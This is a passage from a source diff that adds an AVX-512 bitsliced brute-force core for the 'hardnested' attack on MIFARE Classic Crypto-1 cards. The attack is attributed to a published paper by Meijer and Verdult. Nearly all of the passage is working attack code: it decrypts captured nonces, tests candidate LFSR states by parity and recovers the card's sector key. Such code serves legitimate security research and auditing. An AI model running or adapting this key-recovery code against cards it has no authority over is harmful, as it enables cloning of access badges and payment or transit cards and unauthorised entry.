bitslice_value_t crypto1_bs_f20b_3[8];
|
||||||
|
|
||||||
|
crypto1_bs_f20b_2[0] = f20b(state_p[47 - 25].value, state_p[47 - 27].value, state_p[47 - 29].value, state_p[47 - 31].value);
|
||||||
|
crypto1_bs_f20b_3[0] = f20b(state_p[47 - 41].value, state_p[47 - 43].value, state_p[47 - 45].value, state_p[47 - 47].value);
|
||||||
|
|
||||||
|
bitslice_value_t ksb[8];
|
||||||
|
ksb[0] = f20c(f20a(state_p[47 - 9].value, state_p[47 - 11].value, state_p[47 - 13].value, state_p[47 - 15].value),
|
||||||
|
f20b(state_p[47 - 17].value, state_p[47 - 19].value, state_p[47 - 21].value, state_p[47 - 23].value),
|
||||||
|
crypto1_bs_f20b_2[0],
|
||||||
|
f20a(state_p[47 - 33].value, state_p[47 - 35].value, state_p[47 - 37].value, state_p[47 - 39].value),
|
||||||
|
crypto1_bs_f20b_3[0]);
|
||||||
|
|
||||||
|
uint32_t * restrict p_even = p->states[EVEN_STATE];
|
||||||
|
for (uint32_t block_idx = 0; block_idx < bitsliced_blocks; ++block_idx, p_even += MAX_BITSLICES) {
|
||||||
|
// add the even state bits
|
||||||
|
const bitslice_t * restrict bitsliced_even_state = bitsliced_even_states[block_idx];
|
||||||
|
for (uint32_t state_idx = 1; state_idx < STATE_SIZE; state_idx += 2) {
|
||||||
|
state_p[state_idx] = bitsliced_even_state[state_idx / 2];
|
||||||
|
}
|
||||||
|
|
||||||
|
// pre-compute first feedback bit vector. This is the same for all nonces
|
||||||
|
bitslice_value_t fbb[8];
|
||||||
|
fbb[0] = odd_feedback ^ bitsliced_even_feedback[block_idx];
|
||||||
|
|
||||||
|
// vector to contain test results (1 = passed, 0 = failed)
|
||||||
|
bitslice_t results = bs_ones;
|
||||||
|
|
||||||
|
// parity_bits
|
||||||
|
bitslice_value_t par[8];
|
||||||
|
par[0] = bs_zeroes.value;
|
||||||
|
uint32_t next_common_bits = 0;
|
||||||
|
|
||||||
|
for (uint32_t tests = 0; tests < nonces_to_bruteforce; ++tests) {
|
||||||
|
// common bits with preceding test nonce
|
||||||
|
uint32_t common_bits = next_common_bits; //tests ? trailing_zeros(bf_test_nonce_2nd_byte[tests] ^ bf_test_nonce_2nd_byte[tests-1]) : 0;
|
||||||
|
next_common_bits = tests < nonces_to_bruteforce - 1 ? trailing_zeros(bf_test_nonce_2nd_byte[tests] ^ bf_test_nonce_2nd_byte[tests + 1]) : 0;
|
||||||
|
uint32_t parity_bit_idx = 1; // start checking with the parity of second nonce byte
|
||||||
|
bitslice_value_t fb_bits = fbb[common_bits]; // start with precomputed feedback bits from previous nonce
|
||||||
|
bitslice_value_t ks_bits = ksb[common_bits]; // dito for first keystream bits
|
||||||
|
bitslice_value_t parity_bit_vector = par[common_bits]; // dito for first parity vector
|
||||||
|
// bitslice_value_t fb_bits = fbb[0]; // start with precomputed feedback bits from previous nonce
|
||||||
|
// bitslice_value_t ks_bits = ksb[0]; // dito for first keystream bits
|
||||||
|
// bitslice_value_t parity_bit_vector = par[0]; // dito for first parity vector
|
||||||
|
state_p -= common_bits; // and reuse the already calculated state bits
|
||||||
|
// highest bit is transmitted/received first. We start with Bit 23 (highest bit of second nonce byte),
|
||||||
|
// or the highest bit which differs from the previous nonce
|
||||||
|
for (int32_t ks_idx = KEYSTREAM_SIZE - 1 - common_bits; ks_idx >= 0; --ks_idx) {
|
||||||
|
|
||||||
|
// decrypt nonce bits
|
||||||
|
const bitslice_value_t encrypted_nonce_bit_vector = bitsliced_encrypted_nonces[tests][ks_idx].value;
|
||||||
|
const bitslice_value_t decrypted_nonce_bit_vector = encrypted_nonce_bit_vector ^ ks_bits;
|
||||||
|
|
||||||
|
// compute real parity bits on the fly
|
||||||
|
parity_bit_vector ^= decrypted_nonce_bit_vector;
|
||||||
|
|
||||||
|
// update state
|
||||||
|
state_p--;
|
||||||
|
state_p[0].value = fb_bits ^ decrypted_nonce_bit_vector;
|
||||||
|
|
||||||
|
// update crypto1 subfunctions
|
||||||
|
bitslice_value_t f20a_1, f20b_1, f20b_2, f20a_2, f20b_3;
|
||||||
|
f20a_2 = f20a(state_p[47 - 33].value, state_p[47 - 35].value, state_p[47 - 37].value, state_p[47 - 39].value);
|
||||||
|
f20b_3 = f20b(state_p[47 - 41].value, state_p[47 - 43].value, state_p[47 - 45].value, state_p[47 - 47].value);
|
||||||
|
if (ks_idx > KEYSTREAM_SIZE - 8) {
|
||||||
|
f20a_1 = f20a(state_p[47 - 9].value, state_p[47 - 11].value, state_p[47 - 13].value, state_p[47 - 15].value);
|
||||||
|
f20b_1 = f20b(state_p[47 - 17].value, state_p[47 - 19].value, state_p[47 - 21].value, state_p[47 - 23].value);
|
||||||
|
f20b_2 = f20b(state_p[47 - 25].value, state_p[47 - 27].value, state_p[47 - 29].value, state_p[47 - 31].value);
|
||||||
|
crypto1_bs_f20b_2[KEYSTREAM_SIZE - ks_idx] = f20b_2;
|
||||||
|
crypto1_bs_f20b_3[KEYSTREAM_SIZE - ks_idx] = f20b_3;
|
||||||
|
} else if (ks_idx > KEYSTREAM_SIZE - 16) {
|
||||||
|
f20a_1 = f20a(state_p[47 - 9].value, state_p[47 - 11].value, state_p[47 - 13].value, state_p[47 - 15].value);
|
||||||
|
f20b_1 = crypto1_bs_f20b_2[KEYSTREAM_SIZE - ks_idx - 8];
|
||||||
|
f20b_2 = f20b(state_p[47 - 25].value, state_p[47 - 27].value, state_p[47 - 29].value, state_p[47 - 31].value);
|
||||||
|
crypto1_bs_f20b_2[KEYSTREAM_SIZE - ks_idx] = f20b_2;
|
||||||
|
} else if (ks_idx > KEYSTREAM_SIZE - 24) {
|
||||||
|
f20a_1 = f20a(state_p[47 - 9].value, state_p[47 - 11].value, state_p[47 - 13].value, state_p[47 - 15].value);
|
||||||
|
f20b_1 = crypto1_bs_f20b_2[KEYSTREAM_SIZE - ks_idx - 8];
|
||||||
|
f20b_2 = crypto1_bs_f20b_3[KEYSTREAM_SIZE - ks_idx - 16];
|
||||||
|
} else {
|
||||||
|
f20a_1 = f20a(state_p[47 - 9].value, state_p[47 - 11].value, state_p[47 - 13].value, state_p[47 - 15].value);
|
||||||
|
f20b_1 = f20b(state_p[47 - 17].value, state_p[47 - 19].value, state_p[47 - 21].value, state_p[47 - 23].value);
|
||||||
|
f20b_2 = f20b(state_p[47 - 25].value, state_p[47 - 27].value, state_p[47 - 29].value, state_p[47 - 31].value);
|
||||||
|
}
|
||||||
|
// update keystream bit
|
||||||
|
ks_bits = f20c(f20a_1, f20b_1, f20b_2, f20a_2, f20b_3);
|
||||||
|
|
||||||
|
// for each completed byte:
|
||||||
|
if ((ks_idx & 0x07) == 0) {
|
||||||
|
// get encrypted parity bits
|
||||||
|
const bitslice_value_t encrypted_parity_bit_vector = bitsliced_encrypted_parity_bits[tests][parity_bit_idx++].value;
|
||||||
|
|
||||||
|
// decrypt parity bits
|
||||||
|
const bitslice_value_t decrypted_parity_bit_vector = encrypted_parity_bit_vector ^ ks_bits;
|
||||||
|
|
||||||
|
// compare actual parity bits with decrypted parity bits and take count in results vector
|
||||||
|
results.value &= ~parity_bit_vector ^ decrypted_parity_bit_vector;
|
||||||
|
|
||||||
|
// make sure we still have a match in our set
|
||||||
|
// if(memcmp(&results, &bs_zeroes, sizeof(bitslice_t)) == 0){
|
||||||
|
|
||||||
|
// this is much faster on my gcc, because somehow a memcmp needlessly spills/fills all the xmm registers to/from the stack - ???
|
||||||
|
// the short-circuiting also helps
|
||||||
|
if (results.bytes64[0] == 0 && results.bytes64[1] == 0 && results.bytes64[2] == 0 && results.bytes64[3] == 0) {
|
||||||
|
goto stop_tests;
|
||||||
|
}
|
||||||
|
// prepare for next nonce byte
|
||||||
|
parity_bit_vector = bs_zeroes.value;
|
||||||
|
}
|
||||||
|
// update feedback bit vector
|
||||||
|
if (ks_idx != 0) {
|
||||||
|
fb_bits =
|
||||||
|
(state_p[47 - 0].value ^ state_p[47 - 5].value ^ state_p[47 - 9].value ^
|
||||||
|
state_p[47 - 10].value ^ state_p[47 - 12].value ^ state_p[47 - 14].value ^
|
||||||
|
state_p[47 - 15].value ^ state_p[47 - 17].value ^ state_p[47 - 19].value ^
|
||||||
|
state_p[47 - 24].value ^ state_p[47 - 25].value ^ state_p[47 - 27].value ^
|
||||||
|
state_p[47 - 29].value ^ state_p[47 - 35].value ^ state_p[47 - 39].value ^
|
||||||
|
state_p[47 - 41].value ^ state_p[47 - 42].value ^ state_p[47 - 43].value);
|
||||||
|
}
|
||||||
|
// remember feedback and keystream vectors for later use
|
||||||
|
uint8_t bit = KEYSTREAM_SIZE - ks_idx;
|
||||||
|
if (bit <= next_common_bits) { // if needed and not yet stored
|
||||||
|
fbb[bit] = fb_bits;
|
||||||
|
ksb[bit] = ks_bits;
|
||||||
|
par[bit] = parity_bit_vector;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// prepare for next nonce. Revert to initial state
|
||||||
|
state_p = &states[KEYSTREAM_SIZE];
|
||||||
|
}
|
||||||
|
|
||||||
|
// all nonce tests were successful: we've found a possible key in this block!
|
||||||
|
uint32_t *p_even_test = p_even;
|
||||||
|
for (uint32_t results_word = 0; results_word < MAX_BITSLICES / 64; ++results_word) {
|
||||||
|
uint64_t results64 = results.bytes64[results_word];
|
||||||
|
for (uint32_t results_bit = 0; results_bit < 64; results_bit++) {
|
||||||
|
if (results64 & 0x01) {
|
||||||
|
if (verify_key(cuid, nonces, best_first_bytes, *p_odd, *p_even_test)) {
|
||||||
|
struct Crypto1State pcs;
|
||||||
|
pcs.odd = *p_odd;
|
||||||
|
pcs.even = *p_even_test;
|
||||||
|
lfsr_rollback_byte(&pcs, (cuid >> 24) ^ best_first_bytes[0], true);
|
||||||
|
crypto1_get_lfsr(&pcs, &key);
|
||||||
|
bucket_states_tested += 64 * results_word + results_bit;
|
||||||
|
goto out;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
results64 >>= 1;
|
||||||
|
p_even_test++;
|
||||||
|
if (p_even_test == p_even_end) {
|
||||||
|
goto stop_tests;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
stop_tests:
|
||||||
|
bucket_states_tested += bucket_size[block_idx];
|
||||||
|
// prepare to set new states
|
||||||
|
state_p = &states[KEYSTREAM_SIZE];
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
out:
|
||||||
|
for (uint32_t block_idx = 0; block_idx < bitsliced_blocks; ++block_idx) {
|
||||||
|
free_bitslice(bitsliced_even_states[block_idx]);
|
||||||
|
}
|
||||||
|
free(bitsliced_even_states);
|
||||||
|
free_bitslice(bitsliced_even_feedback);
|
||||||
|
__sync_fetch_and_add(num_keys_tested, bucket_states_tested);
|
||||||
|
return key;
|
||||||
|
}
|
||||||
405
src/hardnested/hardnested_bf_core_AVX512.c
Normal file
405
src/hardnested/hardnested_bf_core_AVX512.c
Normal file
@ -0,0 +1,405 @@
|
|||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
// Copyright (C) 2016, 2017 by piwi
|
||||||
|
//
|
||||||
|
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||||
|
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||||
|
// the license.
|
||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
// Implements a card only attack based on crypto text (encrypted nonces
|
||||||
|
// received during a nested authentication) only. Unlike other card only
|
||||||
|
// attacks this doesn't rely on implementation errors but only on the
|
||||||
|
// inherent weaknesses of the crypto1 cypher. Described in
|
||||||
|
// Carlo Meijer, Roel Verdult, "Ciphertext-only Cryptanalysis on Hardened
|
||||||
|
// Mifare Classic Cards" in Proceedings of the 22nd ACM SIGSAC Conference on
|
||||||
|
// Computer and Communications Security, 2015
|
||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
//
|
||||||
|
// brute forcing is based on @aczids bitsliced brute forcer
|
||||||
|
// https://github.com/aczid/crypto1_bs with some modifications. Mainly:
|
||||||
|
// - don't rollback. Start with 2nd byte of nonce instead
|
||||||
|
// - reuse results of filter subfunctions
|
||||||
|
// - reuse results of previous nonces if some first bits are identical
|
||||||
|
//
|
||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
// aczid's Copyright notice:
|
||||||
|
//
|
||||||
|
// Bit-sliced Crypto-1 brute-forcing implementation
|
||||||
|
// Builds on the data structures returned by CraptEV1 craptev1_get_space(nonces, threshold, uid)
|
||||||
|
/*
|
||||||
|
Copyright (c) 2015-2016 Aram Verstegen
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
of this software and associated documentation files (the "Software"), to deal
|
||||||
|
in the Software without restriction, including without limitation the rights
|
||||||
|
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
copies of the Software, and to permit persons to whom the Software is
|
||||||
|
furnished to do so, subject to the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be included in
|
||||||
|
all copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||||
|
THE SOFTWARE.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include "hardnested_bruteforce.h"
|
||||||
|
#include <stdlib.h>
|
||||||
|
#if !defined _MSC_VER && !defined __APPLE__
|
||||||
|
#include <malloc.h>
|
||||||
|
#endif
|
||||||
|
#include "../crapto1.h"
|
||||||
|
#include "../parity.h"
|
||||||
|
|
||||||
|
#define MAX_BITSLICES 512
|
||||||
|
|
||||||
|
#define VECTOR_SIZE (MAX_BITSLICES/8)
|
||||||
|
typedef uint32_t __attribute__((aligned(VECTOR_SIZE))) __attribute__((vector_size(VECTOR_SIZE))) bitslice_value_t;
|
||||||
|
|
||||||
|
typedef union {
|
||||||
|
bitslice_value_t value;
|
||||||
|
uint64_t bytes64[MAX_BITSLICES / 64];
|
||||||
|
uint8_t bytes[MAX_BITSLICES / 8];
|
||||||
|
} bitslice_t;
|
||||||
|
|
||||||
|
// filter function (f20)
|
||||||
|
// sourced from ``Wirelessly Pickpocketing a Mifare Classic Card'' by Flavio Garcia, Peter van Rossum, Roel Verdult and Ronny Wichers Schreur
|
||||||
|
#define f20a(a,b,c,d) (((a|b)^(a&d))^(c&((a^b)|d)))
|
||||||
|
#define f20b(a,b,c,d) (((a&b)|c)^((a^b)&(c|d)))
|
||||||
|
#define f20c(a,b,c,d,e) ((a|((b|e)&(d^e)))^((a^(b&d))&((c^d)|(b&e))))
|
||||||
|
|
||||||
|
// bit indexing
|
||||||
|
#define get_bit(n, word) (((word) >> (n)) & 1)
|
||||||
|
#define get_vector_bit(slice, value) get_bit((slice)&0x3f, value.bytes64[(slice)>>6])
|
||||||
|
|
||||||
|
// size of crypto-1 state
|
||||||
|
#define STATE_SIZE 48
|
||||||
|
// size of nonce to be decrypted
|
||||||
|
#define KEYSTREAM_SIZE 24
|
||||||
|
|
||||||
|
// endianness conversion
|
||||||
|
#define rev32(word) ((((word) & 0xff) << 24) | ((((word) >> 8) & 0xff) << 16) | ((((word) >> 16) & 0xff) << 8) | ((((word) >> 24) & 0xff)))
|
||||||
|
|
||||||
|
#if defined (_WIN32)
|
||||||
|
#define malloc_bitslice(x) __builtin_assume_aligned(_aligned_malloc((x), MAX_BITSLICES/8), MAX_BITSLICES/8)
|
||||||
|
#define free_bitslice(x) _aligned_free(x)
|
||||||
|
#elif defined (__APPLE__)
|
||||||
|
|
||||||
|
static void *malloc_bitslice(size_t x) {
|
||||||
|
char *allocated_memory;
|
||||||
|
if (posix_memalign((void**) &allocated_memory, MAX_BITSLICES / 8, x)) {
|
||||||
|
return NULL;
|
||||||
|
} else {
|
||||||
|
return __builtin_assume_aligned(allocated_memory, MAX_BITSLICES / 8);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
#define free_bitslice(x) free(x)
|
||||||
|
#else
|
||||||
|
#define malloc_bitslice(x) memalign(MAX_BITSLICES/8, (x))
|
||||||
|
#define free_bitslice(x) free(x)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// arrays of bitsliced states with identical values in all slices
|
||||||
|
static bitslice_t bitsliced_encrypted_nonces[256][KEYSTREAM_SIZE];
|
||||||
|
static bitslice_t bitsliced_encrypted_parity_bits[256][4];
|
||||||
|
// 1 and 0 vectors
|
||||||
|
static bitslice_t bs_ones;
|
||||||
|
static bitslice_t bs_zeroes;
|
||||||
|
|
||||||
|
void bitslice_test_nonces_AVX512(uint32_t nonces_to_bruteforce, uint32_t *bf_test_nonce, uint8_t *bf_test_nonce_par) {
|
||||||
|
|
||||||
|
// initialize 1 and 0 vectors
|
||||||
|
memset(bs_ones.bytes, 0xff, VECTOR_SIZE);
|
||||||
|
memset(bs_zeroes.bytes, 0x00, VECTOR_SIZE);
|
||||||
|
|
||||||
|
// bitslice nonces' 2nd to 4th byte
|
||||||
|
for (uint32_t i = 0; i < nonces_to_bruteforce; i++) {
|
||||||
|
for (uint32_t bit_idx = 0; bit_idx < KEYSTREAM_SIZE; bit_idx++) {
|
||||||
|
bool bit = get_bit(KEYSTREAM_SIZE - 1 - bit_idx, rev32(bf_test_nonce[i] << 8));
|
||||||
|
if (bit) {
|
||||||
|
bitsliced_encrypted_nonces[i][bit_idx].value = bs_ones.value;
|
||||||
|
} else {
|
||||||
|
bitsliced_encrypted_nonces[i][bit_idx].value = bs_zeroes.value;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// bitslice nonces' parity (4 bits)
|
||||||
|
for (uint32_t i = 0; i < nonces_to_bruteforce; i++) {
|
||||||
|
for (uint32_t bit_idx = 0; bit_idx < 4; bit_idx++) {
|
||||||
|
bool bit = get_bit(4 - 1 - bit_idx, bf_test_nonce_par[i]);
|
||||||
|
if (bit) {
|
||||||
|
bitsliced_encrypted_parity_bits[i][bit_idx].value = bs_ones.value;
|
||||||
|
} else {
|
||||||
|
bitsliced_encrypted_parity_bits[i][bit_idx].value = bs_zeroes.value;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
uint64_t crack_states_bitsliced_AVX512(uint32_t cuid, uint8_t *best_first_bytes, statelist_t *p, uint32_t *keys_found, uint64_t *num_keys_tested, uint32_t nonces_to_bruteforce, uint8_t *bf_test_nonce_2nd_byte, noncelist_t *nonces) {
|
||||||
|
|
||||||
|
// Unlike aczid's implementation this doesn't roll back at all when performing bitsliced bruteforce.
|
||||||
|
// We know that the best first byte is already shifted in. Testing with the remaining three bytes of
|
||||||
|
// the nonces is sufficient to eliminate most of them. The small rest is tested with a simple unsliced
|
||||||
|
// brute forcing (including roll back).
|
||||||
|
|
||||||
|
bitslice_t states[KEYSTREAM_SIZE + STATE_SIZE];
|
||||||
|
bitslice_t * restrict state_p;
|
||||||
|
uint64_t key = -1;
|
||||||
|
uint64_t bucket_states_tested = 0;
|
||||||
|
uint32_t bucket_size[(p->len[EVEN_STATE] - 1) / MAX_BITSLICES + 1];
|
||||||
|
uint32_t bitsliced_blocks = 0;
|
||||||
|
uint32_t const *restrict p_even_end = p->states[EVEN_STATE] + p->len[EVEN_STATE];
|
||||||
|
|
||||||
|
// constant ones/zeroes
|
||||||
|
memset(bs_ones.bytes, 0xff, VECTOR_SIZE);
|
||||||
|
memset(bs_zeroes.bytes, 0x00, VECTOR_SIZE);
|
||||||
|
|
||||||
|
// bitslice all the even states
|
||||||
|
bitslice_t * * restrict bitsliced_even_states = (bitslice_t **) malloc(((p->len[EVEN_STATE] - 1) / MAX_BITSLICES + 1) * sizeof (bitslice_t *));
|
||||||
|
if (bitsliced_even_states == NULL) {
|
||||||
|
printf("Out of memory error in brute_force. Aborting...");
|
||||||
|
exit(4);
|
||||||
|
}
|
||||||
|
bitslice_value_t * restrict bitsliced_even_feedback = malloc_bitslice(((p->len[EVEN_STATE] - 1) / MAX_BITSLICES + 1) * sizeof (bitslice_value_t));
|
||||||
|
if (bitsliced_even_feedback == NULL) {
|
||||||
|
printf("Out of memory error in brute_force. Aborting...");
|
||||||
|
exit(4);
|
||||||
|
}
|
||||||
|
for (uint32_t * restrict p_even = p->states[EVEN_STATE]; p_even < p_even_end; p_even += MAX_BITSLICES) {
|
||||||
|
bitslice_t * restrict lstate_p = malloc_bitslice(STATE_SIZE / 2 * sizeof (bitslice_t));
|
||||||
|
if (lstate_p == NULL) {
|
||||||
|
printf("Out of memory error in brute_force. Aborting... \n");
|
||||||
|
exit(4);
|
||||||
|
}
|
||||||
|
memset(lstate_p, 0x00, STATE_SIZE / 2 * sizeof (bitslice_t)); // zero even bits
|
||||||
|
// bitslice even half-states
|
||||||
|
const uint32_t max_slices = (p_even_end - p_even) < MAX_BITSLICES ? p_even_end - p_even : MAX_BITSLICES;
|
||||||
|
bucket_size[bitsliced_blocks] = max_slices;
|
||||||
|
uint32_t slice_idx;
|
||||||
|
for (slice_idx = 0; slice_idx < max_slices; ++slice_idx) {
|
||||||
|
uint32_t e = *(p_even + slice_idx);
|
||||||
|
for (uint32_t bit_idx = 0; bit_idx < STATE_SIZE / 2; bit_idx++, e >>= 1) {
|
||||||
|
// set even bits
|
||||||
|
if (e & 1) {
|
||||||
|
lstate_p[bit_idx].bytes64[slice_idx >> 6] |= 1ull << (slice_idx & 0x3f);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// padding with last even state
|
||||||
|
for (; slice_idx < MAX_BITSLICES; ++slice_idx) {
|
||||||
|
uint32_t e = *(p_even_end - 1);
|
||||||
|
for (uint32_t bit_idx = 0; bit_idx < STATE_SIZE / 2; bit_idx++, e >>= 1) {
|
||||||
|
// set even bits
|
||||||
|
if (e & 1) {
|
||||||
|
lstate_p[bit_idx].bytes64[slice_idx >> 6] |= 1ull << (slice_idx & 0x3f);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
bitsliced_even_states[bitsliced_blocks] = lstate_p;
|
||||||
|
// bitsliced_even_feedback[bitsliced_blocks] = bs_ones;
|
||||||
|
bitsliced_even_feedback[bitsliced_blocks] = lstate_p[(47 - 0) / 2].value ^
|
||||||
|
lstate_p[(47 - 10) / 2].value ^ lstate_p[(47 - 12) / 2].value ^ lstate_p[(47 - 14) / 2].value ^
|
||||||
|
lstate_p[(47 - 24) / 2].value ^ lstate_p[(47 - 42) / 2].value;
|
||||||
|
bitsliced_blocks++;
|
||||||
|
}
|
||||||
|
// bitslice every odd state to every block of even states
|
||||||
|
for (uint32_t const *restrict p_odd = p->states[ODD_STATE]; p_odd < p->states[ODD_STATE] + p->len[ODD_STATE]; ++p_odd) {
|
||||||
|
// early abort
|
||||||
|
if (*keys_found) {
|
||||||
|
goto out;
|
||||||
|
}
|
||||||
|
|
||||||
|
// set odd state bits and pre-compute first keystream bit vector. This is the same for all blocks of even states
|
||||||
|
|
||||||
|
state_p = &states[KEYSTREAM_SIZE];
|
||||||
|
uint32_t o = *p_odd;
|
||||||
|
|
||||||
|
// pre-compute the odd feedback bit
|
||||||
|
bool odd_feedback_bit = evenparity32(o & 0x29ce5c);
|
||||||
|
const bitslice_value_t odd_feedback = odd_feedback_bit ? bs_ones.value : bs_zeroes.value;
|
||||||
|
|
||||||
|
// set odd state bits
|
||||||
|
for (uint32_t state_idx = 0; state_idx < STATE_SIZE; o >>= 1, state_idx += 2) {
|
||||||
|
if (o & 1) {
|
||||||
|
state_p[state_idx] = bs_ones;
|
||||||
|
} else {
|
||||||
|
state_p[state_idx] = bs_zeroes;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
bitslice_value_t crypto1_bs_f20b_2[16];
|
||||||
|
bitslice_value_t crypto1_bs_f20b_3[8];
|
||||||
|
|
||||||
|
crypto1_bs_f20b_2[0] = f20b(state_p[47 - 25].value, state_p[47 - 27].value, state_p[47 - 29].value, state_p[47 - 31].value);
|
||||||
|
crypto1_bs_f20b_3[0] = f20b(state_p[47 - 41].value, state_p[47 - 43].value, state_p[47 - 45].value, state_p[47 - 47].value);
|
||||||
|
|
||||||
|
bitslice_value_t ksb[8];
|
||||||
|
ksb[0] = f20c(f20a(state_p[47 - 9].value, state_p[47 - 11].value, state_p[47 - 13].value, state_p[47 - 15].value),
|
||||||
|
f20b(state_p[47 - 17].value, state_p[47 - 19].value, state_p[47 - 21].value, state_p[47 - 23].value),
|
||||||
|
crypto1_bs_f20b_2[0],
|
||||||
|
f20a(state_p[47 - 33].value, state_p[47 - 35].value, state_p[47 - 37].value, state_p[47 - 39].value),
|
||||||
|
crypto1_bs_f20b_3[0]);
|
||||||
|
|
||||||
|
uint32_t * restrict p_even = p->states[EVEN_STATE];
|
||||||
|
for (uint32_t block_idx = 0; block_idx < bitsliced_blocks; ++block_idx, p_even += MAX_BITSLICES) {
|
||||||
|
// add the even state bits
|
||||||
|
const bitslice_t * restrict bitsliced_even_state = bitsliced_even_states[block_idx];
|
||||||
|
for (uint32_t state_idx = 1; state_idx < STATE_SIZE; state_idx += 2) {
|
||||||
|
state_p[state_idx] = bitsliced_even_state[state_idx / 2];
|
||||||
|
}
|
||||||
|
|
||||||
|
// pre-compute first feedback bit vector. This is the same for all nonces
|
||||||
|
bitslice_value_t fbb[8];
|
||||||
|
fbb[0] = odd_feedback ^ bitsliced_even_feedback[block_idx];
|
||||||
|
|
||||||
|
// vector to contain test results (1 = passed, 0 = failed)
|
||||||
|
bitslice_t results = bs_ones;
|
||||||
|
|
||||||
|
// parity_bits
|
||||||
|
bitslice_value_t par[8];
|
||||||
|
par[0] = bs_zeroes.value;
|
||||||
|
uint32_t next_common_bits = 0;
|
||||||
|
|
||||||
|
for (uint32_t tests = 0; tests < nonces_to_bruteforce; ++tests) {
|
||||||
|
// common bits with preceding test nonce
|
||||||
|
uint32_t common_bits = next_common_bits; //tests ? trailing_zeros(bf_test_nonce_2nd_byte[tests] ^ bf_test_nonce_2nd_byte[tests-1]) : 0;
|
||||||
|
next_common_bits = tests < nonces_to_bruteforce - 1 ? trailing_zeros(bf_test_nonce_2nd_byte[tests] ^ bf_test_nonce_2nd_byte[tests + 1]) : 0;
|
||||||
|
uint32_t parity_bit_idx = 1; // start checking with the parity of second nonce byte
|
||||||
|
bitslice_value_t fb_bits = fbb[common_bits]; // start with precomputed feedback bits from previous nonce
|
||||||
|
bitslice_value_t ks_bits = ksb[common_bits]; // dito for first keystream bits
|
||||||
|
bitslice_value_t parity_bit_vector = par[common_bits]; // dito for first parity vector
|
||||||
|
// bitslice_value_t fb_bits = fbb[0]; // start with precomputed feedback bits from previous nonce
|
||||||
|
// bitslice_value_t ks_bits = ksb[0]; // dito for first keystream bits
|
||||||
|
// bitslice_value_t parity_bit_vector = par[0]; // dito for first parity vector
|
||||||
|
state_p -= common_bits; // and reuse the already calculated state bits
|
||||||
|
// highest bit is transmitted/received first. We start with Bit 23 (highest bit of second nonce byte),
|
||||||
|
// or the highest bit which differs from the previous nonce
|
||||||
|
for (int32_t ks_idx = KEYSTREAM_SIZE - 1 - common_bits; ks_idx >= 0; --ks_idx) {
|
||||||
|
|
||||||
|
// decrypt nonce bits
|
||||||
|
const bitslice_value_t encrypted_nonce_bit_vector = bitsliced_encrypted_nonces[tests][ks_idx].value;
|
||||||
|
const bitslice_value_t decrypted_nonce_bit_vector = encrypted_nonce_bit_vector ^ ks_bits;
|
||||||
|
|
||||||
|
// compute real parity bits on the fly
|
||||||
|
parity_bit_vector ^= decrypted_nonce_bit_vector;
|
||||||
|
|
||||||
|
// update state
|
||||||
|
state_p--;
|
||||||
|
state_p[0].value = fb_bits ^ decrypted_nonce_bit_vector;
|
||||||
|
|
||||||
|
// update crypto1 subfunctions
|
||||||
|
bitslice_value_t f20a_1, f20b_1, f20b_2, f20a_2, f20b_3;
|
||||||
|
f20a_2 = f20a(state_p[47 - 33].value, state_p[47 - 35].value, state_p[47 - 37].value, state_p[47 - 39].value);
|
||||||
|
f20b_3 = f20b(state_p[47 - 41].value, state_p[47 - 43].value, state_p[47 - 45].value, state_p[47 - 47].value);
|
||||||
|
if (ks_idx > KEYSTREAM_SIZE - 8) {
|
||||||
|
f20a_1 = f20a(state_p[47 - 9].value, state_p[47 - 11].value, state_p[47 - 13].value, state_p[47 - 15].value);
|
||||||
|
f20b_1 = f20b(state_p[47 - 17].value, state_p[47 - 19].value, state_p[47 - 21].value, state_p[47 - 23].value);
|
||||||
|
f20b_2 = f20b(state_p[47 - 25].value, state_p[47 - 27].value, state_p[47 - 29].value, state_p[47 - 31].value);
|
||||||
|
crypto1_bs_f20b_2[KEYSTREAM_SIZE - ks_idx] = f20b_2;
|
||||||
|
crypto1_bs_f20b_3[KEYSTREAM_SIZE - ks_idx] = f20b_3;
|
||||||
|
} else if (ks_idx > KEYSTREAM_SIZE - 16) {
|
||||||
|
f20a_1 = f20a(state_p[47 - 9].value, state_p[47 - 11].value, state_p[47 - 13].value, state_p[47 - 15].value);
|
||||||
|
f20b_1 = crypto1_bs_f20b_2[KEYSTREAM_SIZE - ks_idx - 8];
|
||||||
|
